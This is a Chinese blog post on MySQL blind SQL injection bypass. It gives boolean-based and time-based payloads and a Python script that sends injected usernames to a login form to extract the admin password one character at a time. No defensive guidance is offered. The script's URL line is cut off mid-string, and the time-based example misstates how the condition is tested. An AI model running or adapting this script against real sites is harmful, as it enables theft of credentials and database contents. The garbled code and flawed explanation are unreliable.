mysql 盲注绕过

原创

mob649e81697507 2023-07-14 07:07:00 ©著作权

©著作权归作者所有：来自51CTO博客作者mob649e81697507的原创作品，请联系作者获取转载授权，否则将追究法律责任

MySQL盲注绕过攻击

简介

MySQL是一种广泛使用的关系型数据库管理系统，由于其流行，安全性也成为了攻击者的目标之一。MySQL盲注是一种利用应用程序在与数据库进行交互时，未对用户输入进行充分验证和过滤的安全漏洞，攻击者通过构造恶意的输入数据，可以绕过应用程序的访问控制从而获取敏感数据或执行未授权的操作。本文将介绍MySQL盲注绕过攻击的原理，并演示一些常见的攻击示例。

盲注原理

MySQL盲注是通过构造特定的SQL语句，利用应用程序对用户输入缺乏合理的验证和过滤，从而使恶意用户能够执行非授权的数据库操作。攻击者可以利用盲注漏洞，通过不断地通过布尔表达式的真假来推测数据库中的数据。

盲注绕过技巧

基于布尔类型的盲注

基于布尔类型的盲注是一种常见的攻击方式，通过构造条件语句来判断某个条件是否为真。例如，假设我们要尝试获取数据库中的管理员账号和密码：

SELECT username, password FROM users WHERE username='admin' AND password LIKE 'a%'

根据查询的结果是否返回数据，我们可以判断密码的第一个字符是否是'a'，然后逐个字符进行判断，从而获得完整的密码。

基于时间的盲注

基于时间的盲注是利用数据库执行语句所需的时间来判断某个条件是否为真。例如，我们可以构造如下查询语句：

SELECT * FROM users WHERE username='admin' AND IF(SLEEP(5), 1, 0)

在正常情况下，查询应该立即返回结果，但是通过调用SLEEP(5)函数，我们可以使查询暂停5秒钟。通过观察查询的执行时间，我们可以判断条件是否为真。

示例代码

下面是一个使用Python编写的示例代码，用于演示基于布尔类型的盲注攻击：

import requests

url = "

def perform_blind_sql_injection(payload):
    response = requests.post(url, data={"username": payload, "password": "dummy"})
    if "Login successful" in response.text:
        return True
    else:
        return False

def get_password_length():
    for i in range(1, 20):
        payload = f"admin' AND LENGTH(password)={i}-- "
        if perform_blind_sql_injection(payload):
            return i
    return -1

def get_password():
    password_length = get_password_length()
    if password_length == -1:
        return "Password not found"
    password = ""
    for i in range(1, password_length + 1):
        for j in range(32, 128):
            payload = f"admin' AND ASCII(SUBSTRING(password,{i},1))={j}-- "
            if perform_blind_sql_injection(payload):
                password += chr(j)
                break
    return password

print(get_password())

上述示例代码尝试获取数据库中的管理员账号的密码。通过构造SQL语句，逐个字符地判断密码的每一位。从而成功绕过应用程序的访问控制，获取到了敏感数据。